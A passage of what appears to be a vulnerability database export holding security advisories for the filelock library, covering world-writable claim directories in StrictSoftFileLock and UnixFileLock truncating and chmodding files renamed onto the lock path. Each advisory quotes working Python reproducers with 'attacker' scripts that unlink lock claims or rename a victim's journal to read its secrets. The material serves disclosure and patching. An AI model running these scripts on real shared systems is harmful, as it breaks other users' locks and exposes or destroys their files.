the same write access lets the other user create names in `claims`, and an empty file named `held-v1-<32 zeros>.claim` makes the next `acquire()` raise `SoftFileLockProtocolError` (\"malformed claim record\") until someone removes it. Classification from the review: security, conditional on a lax umask or a permissive default ACL. The scanner rated it high (CWE-732).\n\n## Scope and preconditions\n\n- The holder passes a restrictive `mode` such as `0o600`. Without one, the umask decides the permissions by documented design (the \"File permissions and mode\" section of `docs/concepts.rst` defines `mode` only for the lock file). Umask `000` with the default mode gives the same two-holder result but is outside this finding.\n- The holder's environment leaves the other user a write bit on new directories. The scanner measured three ways, with `mode=0o600` and the other user a member of group `team`:\n\n  | lock's parent directory | holder's umask | `<path>.filelock` and `claims/` | who can unlink the claims |\n  |---|---|---|---|\n  | `1777`, like `/tmp` | `000` | `0777` | any other local user |\n  | `root:team`, `3775` (setgid, so new entries inherit the group, and sticky) | `002` | `2775` | any member of `team` |\n  | `root:team`, `1770`, default ACL `group:team:rwx` (`setfacl -d -m g:team:rwx`) | `077` | `0770` | any member of `team` |\n  | `root:team`, `3775`, no ACL | `022` | `2755` | no one; the second process times out |\n\n  The default-ACL row is the strongest. A holder with a private umask and `mode=0o600` still gets group-writable claim directories. The lock file in that row is `0600`, because its mode reaches `os.open` and masks the inherited ACL.\n- A contender that may enter asks for the lock: another process of the holder's account, or root. Nothing needs planting beforehand. The holder creates and owns the whole tree, so the existing-directory branch of `_ensure_protocol_directory` (the subject of GHSA-9c4x-gm8v-wgc4) plays no part.\n- Directories that an affected release already created keep their mode. A `0777` `<path>.filelock` from an earlier run stays writable by other users after an upgrade, because filelock does not remove these directories. Upgraders should `chmod` or remove existing `<path>.filelock` trees (see Workarounds).\n- The other lock classes do not have this gap in the same setting. With umask `000` and `mode=0o600`, `FileLock` and `SoftFileLock` create one `0600` file and nothing else, and `SoftReadWriteLock` creates its directories `0700` under any umask. Platform: POSIX permission semantics; demonstrated on Linux.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock's user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the bare `mkdir()` sits in [`_ensure_protocol_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L996-L998). [`StrictSoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L127-L133) calls it for both levels without a mode. It then passes `self._open_mode()` to the sentinel and, through [`_attempt_doorway`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L179-L181), to both claim files. The doorway (the acquire step that scans existing claims and publishes the caller's own) proceeds when the claim scan is empty. [`_unlink_owner_path_result`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L896-L900) counts a missing claim name as removed on release.\n\n## Introduced\n\nThe bare `mkdir()` arrived with the claim directories in 650c17c79c54 (\"feat(strict): replace shared markers with owner claims\", #659, 2026-07-14), first released in 3.30.0. We checked this against the git tags. Every release since 3.30.0 has it.\n\n## Mechanism\n\nA process with umask `000` that takes `StrictSoftFileLock(\"/tmp/<dir>/x.lock\", mode=0o600)` leaves this on disk while it holds the lock, every entry owned by the holder:\n\n```\n0600 x.lock\n0777 x.lock.filelock\n0777 x.lock.filelock/claims\n0600 x.lock.filelock/claims/held-v1-<token>.claim\n0600 x.lock.filelock/claims/intent-v1-<token>.claim\n```\n\nRemoving a name needs write permission on the directory, and these directories are not sticky. Another local user who cannot read either claim can therefore unlink both. Renaming `claims/` away inside the `0777` `<path>.filelock` has the same effect. For this lock class the directory permissions decide who can end a hold. The sentinel at `<path>` is permanent and says nothing about who holds. A contender starts its doorway by listing the claim directory and proceeds when it is empty. Once the two names are gone, the next contender publishes its own intent and held claims and enters. The original holder does not notice. `is_locked` is its own counter, and `_release` removes its claims by name through `_unlink_owner_path_result`, which takes `FileNotFoundError` as \"already removed\". The first process therefore releases with exit status 0. No `force_break()`, lifetime or legacy client takes part.\n\nThe other user's action is a plain `unlink`. The right to do it comes from filelock's `mkdir`, not from anything the application asked for. In the same setting the other user can neither read nor remove the `0600` sentinel in the sticky parent. With the common umask `022` and no default ACL the directories are `0755`. Other users can then list the claim names, which `mode=0o600` does not suggest either, but cannot remove them, and the second process times out.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-AD6SUOON`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport shutil\nimport stat\nimport subprocess\nimport sys\nimport tempfile\n\nAS_VICTIM = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": [], \"text\": True}\nAS_ATTACKER = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": [], \"text\": True}\n\n\ndef start_victim_service(lock_path, umask):\n    command = [sys.executable, \"/tmp/repro.d/victim_service.py\", lock_path]\n    return subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, umask=umask, **AS_VICTIM)\n\n\ndef hold_lock_while_attacker_strikes(label, shared, victim_umask):\n    lock_path = f\"{shared}/umask{victim_umask:03o}.lock\"\n    claims = f\"{lock_path}.filelock/claims\"\n\n    first = start_victim_service(lock_path, victim_umask)\n    assert first.stdout.readline() == \"entered\\n\"\n    claim_files = [f\"{claims}/{name}\" for name in sorted(os.listdir(claims))]\n    for path in (lock_path, f\"{lock_path}.filelock\", claims, *claim_files):\n        status = os.lstat(path)\n        owner = pwd.getpwuid(status.st_uid).pw_name\n        print(f\"{label}: {stat.S_IMODE(status.st_mode):04o} {owner} {os.path.relpath(path, shared)}\")\n\n    # attack, while the first victim process is inside its critical section\n    attacker = subprocess.run(\n        [sys.executable, \"/tmp/repro.d/attacker_remove_claims.py\", lock_path],\n        stdout=subprocess.PIPE,\n        check=True,\n        **AS_ATTACKER,\n    )\n    for line in attacker.stdout.splitlines():\n        print(f\"{label}: attacker: {line}\")\n    claims_left = len(os.listdir(claims))\n    print(f\"{label}: claims left: {claims_left}\")\n\n    second = start_victim_service(lock_path, victim_umask)\n    second_says = second.stdout.readline().strip()\n    # the first is told to leave only after the second has answered, so an \"entered\" means both were inside at once\n    first_says = first.communicate(\"leave\\n\")[0].strip()\n    second.communicate(\"leave\\n\")\n    print(f\"{label}: second process: {second_says}\")\n    print(f\"{label}: first process, asked afterwards: {first_says}, exit status {first.returncode}\")\n\n    both_inside = second_says == \"entered\" and first_says == \"leaving, is_locked=True\" and first.returncode == 0\n    return claims_left, both_inside\n\n\n# set up: a shared directory like /tmp, sticky and writable by everyone\nshared = tempfile.mkdtemp(prefix=\"strict-mode-\", dir=\"/tmp\")\nos.chmod(shared, 0o1777)\n\n# the two rounds differ only in the umask the victim's processes run with\ncontrol_claims_left, control_both_inside = hold_lock_while_attacker_strikes(\"CONTROL umask 022\", shared, 0o022)\nattack_claims_left, attack_both_inside = hold_lock_while_attacker_strikes(\"OBSERVED umask 000\", shared, 0o000)\nshutil.rmtree(shared)\n\n# check: with mode=0o600, another user must not be able to let a second process in beside the first\nprint(f\"CONTROL two holders at once: {control_both_inside}\")\nprint(f\"OBSERVED two holders at once: {attack_both_inside}\")\ncontrol_excludes = control_claims_left == 2 and not control_both_inside\nprint(\"BUG\" if control_excludes and attack_claims_left == 0 and attack_both_inside else \"OK\")\n```\n\n**`repro.d/attacker_remove_claims.py`**\n\n```python\nimport os\nimport sys\n\nclaims = f\"{sys.argv[1]}.filelock/claims\"\ntry:\n    names = sorted(os.listdir(claims))\nexcept PermissionError:\n    print(\"listing denied\")\n    names = []\n\nfor name in names:\n    try:\n        os.unlink(f\"{claims}/{name}\")\n        print(f\"unlinked {name}\")\n    except PermissionError:\n        print(f\"unlink denied {name}\")\n```\n\n**`repro.d/victim_service.py`**\n\n```python\nimport sys\n\nfrom filelock import StrictSoftFileLock, Timeout\n\nlock = StrictSoftFileLock(sys.argv[1], mode=0o600)\ntry:\n    with lock.acquire(timeout=2):\n        print(\"entered\", flush=True)\n        sys.stdin.readline()  # stay in the critical section until told to leave\n        print(f\"leaving, is_locked={lock.is_locked}\", flush=True)\nexcept Timeout:\n    print(\"Timeout\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant H as holder (umask 000, mode=0o600)\n    participant D as x.lock.filelock/claims\n    participant X as other local user\n    participant C as contender (same account as the holder)\n    H->>D: mkdir() both directories: 0777, claims 0600\n    H->>D: publish intent and held claims, enter\n    X->>D: read claim: EACCES (0600)\n    rect rgb(255, 214, 214)\n        X->>D: unlink both claims (directory is 0777, not sticky)\n        C->>D: acquire(): scan finds no claims, publishes, enters\n        Note over H,C: both inside at once\n        H->>D: release(): claims missing, counted as removed, exit status 0\n    end\n    Note over H,D: control under umask 022: directories 0755, unlink denied, contender raises Timeout\n```\n\n## Evidence\n\nThe scanner's reproducer runs the holder's `StrictSoftFileLock(path, mode=0o600)` with `timeout=2` as account `victim` (uid 1000) and the unlink loop as account `attacker` (uid 1001). Both run in a fresh root-owned `1777` directory under `/tmp`, at commit b831496 on Linux 6.1 (overlayfs), CPython 3.14.8. Two rounds differ only in the umask the holder's processes start with.\n\nUnder `CONTROL umask 022`, the directories are `0755`, the kernel denies the unlinks, both claims remain, and the second process prints `Timeout`. Under `OBSERVED umask 000`, every file is still `0600` but `<path>.filelock` and `claims/` are `0777`. The other account prints `unlinked held-v1-<token>.claim` and `unlinked intent-v1-<token>.claim` followed by `claims left: 0`. The second process prints `entered`. The first process prints `leaving, is_locked=True, exit status 0` when asked afterwards. The verdict lines read `CONTROL two holders at once: False` and `OBSERVED two holders at once: True`; the overall verdict is `BUG`. The scanner ran the umask `002` and default-ACL rows of the table by hand at the same commit with the same result.\n\nOur review ran the reproducer against the 4.2.0 release image and the scanned commit (`BUG` on both) and against the head of #839 (`OK`). The review's regression test covers the owner, group-read and group-write modes.\n\n## Impact\n\nAnother local user who gets a write bit on the claim directories ends a live `StrictSoftFileLock` hold. A second honest process of the holder's account then enters the critical section beside the first. Neither holder receives any signal. This is the overlap the strict lock's fail-closed contract exists to rule out. The same write access lets the other user deny the lock by planting a malformed claim name. This does not disclose the claims' contents (the `0600` claim files stay unreadable), and it does not affect holders whose directories came out `0755` or tighter.\n\n## Workarounds\n\nRun processes that take strict locks with umask `022` or `077`. Do not put a default ACL that grants other accounts write on the lock's parent directory; where you intend group sharing, trust every member of that group with the lock. Keep strict locks in a directory other users cannot write. For paths already in use, `chmod 700` (or remove, while no process holds the lock) every existing `<path>.filelock` tree. Its mode comes from creation time and nothing changes it afterwards: `find <dir> -maxdepth 1 -type d -name '*.filelock' -exec chmod -R go-w {} +`.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/839\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-AD6SUOON`, scanned commit b831496b0273)\n- 2026-10-16 01:31 UTC: fix PR #839 opened\n- 2026-10-16 05:39 UTC: draft advisory created (first as part of GHSA-9c4x-gm8v-wgc4, then split into this advisory)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-6627-m3xw-93mp"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/839"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-112909","published":"2026-10-29T21:31:26Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-69hj-f68j-2879","CVE-2026-112909"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.5.0"},{"fixed":"26.10.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path","details":"`UnixFileLock`, the backend of `FileLock` and `AsyncFileLock` on Unix, empties whatever regular file it finds at the lock path once it holds the `flock` (a kernel lock on an open file). With an explicit `mode` it also chmods that file (sets its permission bits), whether or not this acquire created it. Another local user who can rename or hard-link one of the files of the user running the lock (below: the lock user) onto the lock path gets that file truncated by the lock user's next `acquire()`. A hard link is a second name for the same file. With a mode such as `0o666` the file, still owned by the lock user, also becomes readable and writable by that other user. The other user can then read and alter everything the lock user writes to it afterwards.\n\n`O_NOFOLLOW`, the defence added for the symlink variant (CVE-2025-68146), does not see a renamed file or a hard link. The rename route needs the file's directory to be writable without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The hard-link route into a sticky directory such as `/tmp` needs `fs.protected_hardlinks=0`, a Linux kernel setting. Affected versions are every filelock release up to and including 4.2.0 (the truncation is as old as the project; the chmod since 3.10.2).\n\nAnthropic's OSS Scanner reported this in private. Finding covered by this advisory:\n\n- `ANT-2026-KO573NWI` [high, CWE-706]: UnixFileLock truncates and chmods victim files renamed onto the lock path.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N` scores 6.1 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): one rename or link, then wait for the lock user's next acquire; no race. `I:H` (high integrity impact): the lock user's own process truncates a file it did not mean to touch, including content behind a second name the other user could neither modify nor delete. With a permissive explicit `mode` the other user can then write to it. If that file is one the lock user later executes or trusts, that is code execution as the lock user. `C:L` (partial confidentiality impact): the old content is gone before the other user can read anything, but what the lock user writes afterwards through a descriptor (the number the kernel gives a process for an open file) it still holds is readable. `A:N` (no availability impact). `S:U` (scope unchanged).\n\nClassification from the review: **security, conditional** on another user controlling names in a non-sticky directory on the lock's filesystem (or on `fs.protected_hardlinks=0`). The scanner rated this high. The maintainers score it medium because the reachable targets depend on the directory layout and kernel settings described below.\n\n## Scope and preconditions\n\n- Lock classes: `FileLock` and `AsyncFileLock` on Unix (`UnixFileLock`). `SoftFileLock` applies an explicit mode only to a file it created with `O_CREAT | O_EXCL` and does not truncate an existing file. `WindowsFileLock` has not truncated at any version.\n- The other user must put a regular file of the lock user at the lock path before the lock user's next acquire, while the lock file does not exist yet. That is the case on first use, after a reboot, after a `/tmp` cleaner, or after a release with the default `preserve_lock_file=False`, which unlinks the file. The scanner checked three ways at the scanned commit, with default kernel settings unless stated:\n  - rename inside a directory without the sticky bit (a group-writable project or cache directory, a root-created `0777` directory);\n  - rename from such a directory into a sticky one (`1777`) on the same filesystem. The sticky bit only protects entries that already exist, so the move succeeds while the lock path is free. Once the lock user's lock file exists there, the same move fails with `EPERM`;\n  - `link(2)` into a sticky directory. This needs a system that lets a user hard-link a file it cannot write, which on Linux means `fs.protected_hardlinks=0`. Mainstream distributions set 1, which refuses the link. The scanner did not test macOS or the BSDs.\n- What the lock user loses: with the default `FileLock(path)` the lock truncates the file, which keeps its mode. With an explicit `mode` (a lock shared between users needs `0o666` or `0o660`, because `UnixFileLock` opens the file read-write), the lock also chmods the file to that mode. `_apply_explicit_mode` suppresses `PermissionError` only for files the lock user does not own. The lock user owns its own files, so the `fchmod` succeeds.\n- Trust boundary: the protection against another local user holds only when no other user can rename entries in the lock's directory or, for the rename-into-sticky route, in any directory on the same filesystem that holds a file of the lock user. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.\n- Not affected: a symlink (a file that points at another path) at the lock path, because `O_NOFOLLOW` makes the open fail with `ELOOP`; mutual exclusion between cooperating processes.\n\n## Affected code\n\nScanned commit `b831496b0273`: [`UnixFileLock._finalize_locked_fd`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L144-L163), whose [`os.ftruncate` and `_apply_explicit_mode` calls](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L150-L154) have only the `st_nlink != 0` guard (the file still has at least one name); [`_apply_explicit_mode`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L165-L168); [`_open_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L95-L121), which learns from its `O_EXCL` create whether this attempt made the file but hands that flag only to the `ENOSYS` fallback.\n\n## Introduced\n\nThe truncation of whatever is at the lock path dates from the initial commit ([2157efb](https://github.com/tox-dev/filelock/commit/2157efb8b57666699fcf15bf03c3771c1571279c), which opened with `O_TRUNC`). The chmod of a pre-existing inode (the kernel's identity for a file, independent of its name) came with [d7e1e84](https://github.com/tox-dev/filelock/commit/d7e1e84e71ad) \"changed from os.umask to os.chmod\" ([#206](https://github.com/tox-dev/filelock/pull/206), 2023-03-22), first tag 3.10.2 (verified with `git tag --contains`). Before it the code passed the mode only to `open()`, which applies it to a file this call creates. The advisory range is therefore every release up to 4.2.0. The earlier group range `>= 3.10.0` understated it, as the review noted.\n\n## Mechanism\n\n`_open_lock_file` first tries `os.open(path, O_RDWR | O_NOFOLLOW | O_CREAT | O_EXCL, mode)`. With the lock user's file renamed to the lock path that fails with `FileExistsError`. The second `os.open(path, O_RDWR | O_NOFOLLOW)` succeeds, because the entry is a regular file the lock user owns, and returns `created = False`. `_acquire_native` passes `created` only to the `ENOSYS` branch. No process holds a `flock` on the renamed file, so `_lock_fd_nonblocking(fd)` succeeds at once and `_finalize_locked_fd(fd)` runs: `os.fstat`, `st_nlink != 0`, `os.ftruncate(fd, 0)`, then `os.fchmod(fd, mode)` when the lock has an explicit mode. Nothing in that path tells a lock file from any other regular file; a link count of 2 and a non-empty file both pass. `O_NOFOLLOW` does not help because the entry is the file itself (or a hard link, an ordinary directory entry for the same inode), not a symlink to it. There is no race: the other user renames or links once and waits for the next acquire. `AsyncUnixFileLock` inherits `_finalize_locked_fd` unchanged.\n\nThe scanner measured three variants at the same commit, same accounts (`victim` uid 1000, `attacker` uid 1001). First, a rename within a `0777` directory: the next `FileLock(\"jobs.lock\", mode=0o666)` of `victim` empties the `0600` journal of `victim` renamed to `jobs.lock` and sets it to `0666`; `attacker` then reads what `victim` keeps writing through its open descriptor. Second, a rename of a two-name file (`ln /tmp/cache/blob ~/env/blob`, `0644`) from a `0777` directory, `fs.protected_hardlinks=1`: after `mv /tmp/cache/blob /tmp/cache/app.lock` and `FileLock(\"/tmp/cache/app.lock\", mode=0o666)` as `victim`, `~/env/blob` has `2 links, mode 666, 0 bytes` and `echo pwned >> /home/victim/env/blob` as `attacker` succeeds, in a directory `attacker` cannot write. Third, `os.link(notes, lock_path)` in a `1777` directory with `fs.protected_hardlinks=0`: `notes.txt` (`0644`, in the home of `victim`) ends up 0 bytes with mode `0666`, and `open(notes, \"w\")` as `attacker` then succeeds. With plain `FileLock(lock_path)` a `0600` file ends up empty with its mode unchanged. The planted name stays after release, so every later acquire truncates the file again.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-KO573NWI`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport secrets\nimport shutil\nimport stat\nimport subprocess\nimport sys\n\n# set up: a directory every user may write, without the sticky bit\nshared = \"/tmp/renamed-lock-file-demo\"\nshutil.rmtree(shared, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\njournal = f\"{shared}/victim-journal.log\"\nlock_path = f\"{shared}/jobs.lock\"\n\nvictim = subprocess.Popen(\n    [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable, \"/tmp/repro.d/victim_job_runner.py\", shared],\n    stdin=subprocess.PIPE,\n    stdout=subprocess.PIPE,\n    text=True,\n)\n\n\ndef victim_runs(job):\n    victim.stdin.write(job + \"\\n\")\n    victim.stdin.flush()\n    assert victim.stdout.readline() == \"done\\n\"\n\n\ndef as_attacker(script, argument):\n    command = [\"runuser\", \"-u\", \"attacker\", \"--\", sys.executable, f\"/tmp/repro.d/{script}\", argument]\n    return subprocess.run(command, capture_output=True, text=True, check=True).stdout\n\n\n# before the attack: one job leaves the lock file and a 0600 journal with one line in it\nvictim_runs(\"job 1\")\njournal_before = os.stat(journal)\njournal_content_before = open(journal).read()\nattacker_read_before = as_attacker(\"attacker_read_file.py\", journal)\nprint(\n    f\"CONTROL  journal: inode {journal_before.st_ino}, uid {journal_before.st_uid}, \"\n    f\"mode {stat.S_IMODE(journal_before.st_mode):o}, content {journal_content_before!r}\"\n)\nprint(f\"CONTROL  attacker reads the journal: {attacker_read_before!r}\")\n\n# attack\nas_attacker(\"attacker_rename_journal.py\", shared)\n\n# the victim takes its lock again, then notes a secret in its journal through the descriptor it holds\nsecret = secrets.token_hex(8)\nvictim_runs(f\"job 2 {secret}\")\nvictim.stdin.close()\nvictim.wait()\n\n# check: the victim's private journal must not be emptied, widened to 0666, or readable by the attacker\nlock_after = os.stat(lock_path)\nlock_content_after = open(lock_path).read()\nattacker_read_after = as_attacker(\"attacker_read_file.py\", lock_path)\nprint(\n    f\"OBSERVED lock path: inode {lock_after.st_ino}, uid {lock_after.st_uid}, \"\n    f\"mode {stat.S_IMODE(lock_after.st_mode):o}, content {lock_content_after!r}\"\n)\nprint(f\"OBSERVED attacker reads the lock path: {attacker_read_after!r}\")\n\nattacker_was_denied = attacker_read_before == \"permission denied\\n\"\nlock_path_is_the_journal = (lock_after.st_dev, lock_after.st_ino) == (journal_before.st_dev, journal_before.st_ino)\njournal_was_emptied = \"job 1\" in journal_content_before and \"job 1\" not in lock_content_after\njournal_was_widened = stat.S_IMODE(journal_before.st_mode) == 0o600 and stat.S_IMODE(lock_after.st_mode) == 0o666\nattacker_reads_the_secret = secret in attacker_read_after\nbug = (\n    attacker_was_denied\n    and lock_path_is_the_journal\n    and journal_was_emptied\n    and journal_was_widened\n    and attacker_reads_the_secret\n)\nprint(\"BUG\" if bug else \"OK\")\n```\n\n**`repro.d/attacker_read_file.py`**\n\n```python\nimport sys\n\ntry:\n    print(open(sys.argv[1]).read(), end=\"\")\nexcept PermissionError:\n    print(\"permission denied\")\n```\n\n**`repro.d/attacker_rename_journal.py`**\n\n```python\nimport os\nimport sys\n\nshared_directory = sys.argv[1]\n\n# needs only write access to the directory: no sticky bit, so any user may rename any entry in it\nos.rename(f\"{shared_directory}/victim-journal.log\", f\"{shared_directory}/jobs.lock\")\n```\n\n**`repro.d/victim_job_runner.py`**\n\n```python\nimport os\nimport sys\n\nfrom filelock import FileLock\n\nshared_directory = sys.argv[1]\n\njournal_fd = os.open(f\"{shared_directory}/victim-journal.log\", os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600)\n# UnixFileLock opens the lock file O_RDWR, so a lock that other users of the directory also take needs mode=0o666\nlock = FileLock(f\"{shared_directory}/jobs.lock\", mode=0o666, timeout=5)\n\nfor job in sys.stdin:\n    with lock:\n        os.write(journal_fd, f\"ran {job}\".encode())\n    print(\"done\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as other account\n    participant D as shared directory (writable, not sticky)\n    participant V as lock user: FileLock(\"jobs.lock\", mode=0o666)\n    participant K as kernel\n    Note over V,D: victim-journal.log, owner victim, mode 0600 (the other account cannot read it)\n    A->>D: mv victim-journal.log jobs.lock (one rename, no race)\n    V->>K: open(jobs.lock, O_RDWR|O_NOFOLLOW|O_CREAT|O_EXCL) -> EEXIST\n    V->>K: open(jobs.lock, O_RDWR|O_NOFOLLOW) -> fd (regular file, created=False)\n    V->>K: flock(fd, LOCK_EX|LOCK_NB) -> ok (no holder)\n    rect rgb(255, 214, 214)\n        V->>K: fstat(fd), st_nlink != 0\n        V->>K: ftruncate(fd, 0)\n        V->>K: fchmod(fd, 0o666)\n        Note over V,K: the journal's inode is now empty and world read-write, still owned by victim\n    end\n    V->>K: write(\"ran job 2 <secret>\") through the journal descriptor it still holds\n    A->>D: read jobs.lock -> \"ran job 2 <secret>\"\n```\n\n## Evidence\n\nThe scanner reproducer (`victim` and `attacker` accounts, root-created `0777` directory without the sticky bit under `/tmp`, default sysctls, Linux 6.1, CPython 3.14.8, overlayfs; lock `FileLock(path, mode=0o666, timeout=5)`). It printed `CONTROL journal: inode 296383, uid 1000, mode 600, content 'ran job 1\\n'` and `CONTROL attacker reads the journal: 'permission denied\\n'`. After the rename and the second job of `victim` it printed `OBSERVED lock path: inode 296383, uid 1000, mode 666, content 'ran job 2 f4bc9a4e04c3f556\\n'` and `OBSERVED attacker reads the lock path: 'ran job 2 f4bc9a4e04c3f556\\n'`, last line `BUG`. The verdict requires that the earlier read by `attacker` failed, that the lock path is the journal's inode, that the old line is gone, that the mode went from `0600` to `0666`, and that the later read by `attacker` contains the secret. It runs in under a second with no race. The scanner ran the two-name and `link(2)` variants above by hand at the same commit (commands and results in its report), not through the script.\n\nMaintainer triage: the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 release image. The independent review (`soft-open`) confirmed the mechanism and that the hard-link and two-name variants go through the same two calls.\n\n## Impact\n\nThe file's content is lost in every configuration, including for processes that hold the file open and under every other name the file has. With an explicit permissive `mode`, the other user can read and modify everything the lock user writes afterwards, while the file still belongs to the lock user. The other user can rename the file back to its old name after the acquire. It stays there with the lock's mode, and the lock user's next acquire creates a fresh lock file.\n\nSomebody who may rename a single-name file may also unlink it, so losing such a file under its name is not new. What the lock adds are two operations on the inode that the other user cannot perform, `ftruncate` and `fchmod`, run with the lock user's privileges. Those matter for a descriptor the lock user still holds, for a second name of the file, and for programs that trust the file's ownership. The other user does not choose the mode, and the lock user writes no bytes the other user chose. Mutual exclusion is not affected.\n\n## Workarounds\n\n- Keep the lock file in a directory no other account can write, or in a sticky directory on a filesystem where no directory holding the lock user's files is writable by others. On Linux keep `fs.protected_hardlinks=1` (the default on mainstream distributions), which closes the hard-link route.\n- Do not pass a permissive explicit `mode` (`0o666`, `0o660`, `0o644`) unless accounts share the lock; without a mode the exposure is the truncation only.\n- Keep the lock file in place (`preserve_lock_file=True`). Once a lock file owned by the lock user exists in a sticky directory, another user cannot rename or link over it.\n- Where the lock does not need `flock` semantics, `SoftFileLock` applies its mode only to the marker it created with `O_EXCL` and does not truncate an existing file.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/835\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (36 findings; this one rated high by the scanner)\n- 2026-10-16 00:46 UTC: draft advisory created (first as a group of four findings, then narrowed to `ANT-2026-KO573NWI`; the other three security findings have their own advisories)\n- 2026-10-16 01:16 UTC: fix PR #835 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-69hj-f68j-2879"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112909"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/835"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/e1e825b1992f69fb6b346dc395d5ae4893536c0a"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-112911","published":"2026-10-29T21:31:26Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-9c4x-gm8v-wgc4","CVE-2026-112911"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"26.6.0_2"},{"fixed":"26.10.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock: StrictSoftFileLock and SoftReadWriteLock adopt a protocol directory another user created first, losing mutual exclusion","details":"`StrictSoftFileLock`, `AsyncStrictSoftFileLock`, `SoftReadWriteLock` and `AsyncSoftReadWriteLock` keep their whole ownership state as files in a directory derived from the lock path (`<path>.filelock/claims`, `<path>.rw/{gen,holders}`). When that directory already exists they adopt it after checking only that it is a real directory, not who owns it. Another local user who can create names in the lock's directory can create the tree before the first acquire on that path by the user running the lock (below: the lock user). In `/tmp`, `/var/tmp` or another sticky shared directory any user can do that; the sticky bit is a directory flag that lets only a file's owner remove or rename 